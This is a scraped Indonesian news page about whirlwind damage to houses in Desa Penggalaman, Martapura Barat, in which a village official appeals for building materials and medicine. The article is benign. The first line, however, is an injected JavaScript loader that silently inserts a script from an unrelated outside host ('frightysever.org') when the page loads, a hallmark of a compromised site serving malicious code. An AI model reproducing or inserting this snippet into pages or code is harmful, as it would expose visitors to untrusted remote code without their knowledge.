(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Korban Puting Beliung di Martapura Barat Perlu Obat-obatan dan Bahan Bangunan


KANALKALIMANTAN.COM, MARTAPURA – Puluhan unit rumah yang tersebar di sejumlah titik di Desa Penggalaman, Kecamatan Martapura Barat, Kabupaten Banjar, rusak akibat diterjang angin kencang atau puting beliung pada Jumat (11/6/2021).

Ketua Badan Permusyawaratan Desa (BPD) Desa Penggalaman, Hermansyah mengatakan, pasca bencana yang terjadi kemarin, warga telah menerima banyak bantuan sembako.

Untuk itu, ia menyampaikan terima kasih atas bantuan yang diberikan sehingga warga yang tertimpa bencana tak kekurangan stok bahan makanan.

Warga menerima bantuan dari Posko atau tempat pengungsian sementara warga korban puting beliung di Desa Penggalaman, Kecamatan Martapura Barat, Sabtu (12/6/2021). Foto : dewi.

 

 

Baca juga: Puting Beliung Martapura Barat: Terjang 33 Rumah, 17 Rusak Berat, Korban Berlindung Sementara di Mushala

Hermansyah mengatakan, saat ini warga sedang berupaya membangun kembali permukiman yang rusak setelah disapu puting beliung. Untuk itu, warga sangat memerlukan bantuan berupa bahan bangunan.

“Ada 2 wilayah RT 05 dan RT 06, lalu ditambah kaling wilayah 1 dan kaling wilayah 2. Jadi posko ada di sini RT 06 yang lebih parah dari yang lainnya. Melalui kordinator lapangan yang sudah ditugaskan dan sudah dibagi porsinya,” ungkapnya kepada Kanalkalimantan.com.

Hermansyah berharap, Pemkab Banjar bisa memberikan bantuan beruapa bahan bangunan untuk mempercepat proses perbaikan rumah yang rusak. Sebab kondisi ekonomi warga yang mengandalkan dari hasil pertanian, akan cukup sulit untuk bisa memperbaiki rumah.

“Ini yang jadi pikiran. Karena kebanyakan sebagai petani pas-pasan, sehingga sangat berharap agar ada bantuan berupa bahan bangunan untuk memperbaiki rumah warga,” tegasnya.

Baca juga: Gerakan Akselerasi Eksekusi Serentak, Pohon Pengganggu Jaringan Listrik Dipangkas

Di samping itu, hal mendesak yang saat ini dibutuhkan warga adalah obat-obatan, minyak kayu putih, dan lainnya untuk melawan dingin di lokasi penampungan.

“Banyak sekali anak kecil, bayi, orangtua, ibu hamil dan lainnya yang butuh perhatian. Kami sangat berharap kepada pemerintah agar cepat ditindaklanjuti rumah warga agar tak tidur berdesak-desakkan. Apalagi di saat pandemi seperti ini,” ungkap Hermansyah. (kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

6 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

8 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

9 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

9 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

13 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

13 jam ago

This website uses cookies.